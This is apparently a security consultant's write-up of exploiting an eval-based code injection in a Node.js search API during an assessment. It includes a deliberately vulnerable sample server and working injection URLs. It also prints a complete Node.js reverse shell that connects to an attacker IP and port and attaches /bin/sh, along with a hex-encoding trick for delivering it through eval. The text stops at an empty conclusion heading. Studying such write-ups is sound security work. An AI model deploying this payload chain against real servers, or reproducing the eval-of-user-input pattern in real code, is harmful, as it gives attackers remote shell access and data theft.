How we obtained a Javascript reverse shell by exploiting a vulnerability on a Node.js application during a security assessment.

Introduction

We were tasked by a small web developer team to perform a security assessment of their mobile app backend which is a REST API.

The architecture is rather simple there is only three Linux servers.

Node.js

MongoDB

Redis

First we performed a few arbitrary tests without access to the source code and we discovered that a few unexpected input at some endpoints would crash the backend application.

We also noticed that the redis server was accessible from the WAN without authentication.

Our next step was to review the Node.js API code and understand the crashes.

Simplified vulnerable application

We created this small Node.js application with the vulnerable function if you want to try to exploit it yourself.

This Node.js web server will wait for a query such as http://target.tld//?name=do* and search for animal names matching that query.

'use strict' const http = require('http'); const url = require('url'); const path = require('path'); const animalsJSON = path.join(__dirname, 'animals.json'); const animals = require(animalsJSON); function requestHandler(req, res) { let urlParams = url.parse(req.url, true); let queryData = urlParams.query; res.writeHead(200, {"Content-Type": "application/json"}); if (queryData.name) { let searchQuery = stringToRegexp(queryData.name); let animalsResult = getAnimals(searchQuery); res.end(JSON.stringify(animalsResult)); } else { res.end(); } } function getAnimals(query) { let result = []; for (let animal of animals) { if (query.test(animal.name)) result.push(animal); } return result; } function stringToRegexp(input) { let output = input.replace(/[\[\]\\\^\$\.\|\?\+\(\)]/, "\\$&"); let prefix, suffix; if (output[0] == '*') { prefix = '/'; output = output.replace(/^\*+/g, ''); } else { prefix = '/^'; } if (output[output.length - 1] == '*') { suffix = '/i'; output = output.replace(/\*+$/g, ''); } else { suffix = '$/i'; } output = output.replace(/[\*]/, '.*'); return eval(prefix + output + suffix); } const server = http.createServer(requestHandler); server.listen(3000);

[ {"name": "Dinosaur"}, {"name": "Dog"}, {"name": "Dogfish"}, {"name": "Dolphin"}, {"name": "Donkey"}, {"name": "Dotterel"}, {"name": "Dove"}, {"name": "Dragonfly"}, {"name": "Duck"} ]

The vulnerability

After a few minutes of analyzing the buggy endpoints in the code we noticed a bad practice issue that could lead to remote code execution.

The stringToRegexp function is evaluating user input to create a RegExp object and use it to find elements in an array.

return eval(prefix + output + suffix); // we control output value

We can insert our own Javascript code in the output variable and execute it.

The stringToRegexp function will escape some characters and the output value will be evaluated.

["./;require('util').log('Owned');//*"]

Visiting the address below will print a message on the server terminal.

http://target.tld/?name=["./;require('util').log('Owned');//*"]

From there it would be nice to execute code to have an interactive shell such as /bin/sh .

The Node.js reverse shell

The Javascript code below is a Node.js reverse shell.

The payload will spawn a /bin/sh shell, create a TCP connection to the attacker and attach the shell standard streams to it.

(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(8080, "10.17.26.64", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; // Prevents the Node.js application from crashing })();

To execute the payload gracefully we used a little trick, we encoded our reverse shell payload to hexadecimal and used the Node.js Buffer object to decode it.

http://target.tld/?name=["./;eval(new Buffer('PAYLOAD', 'hex').toString());//*"]

Conclusion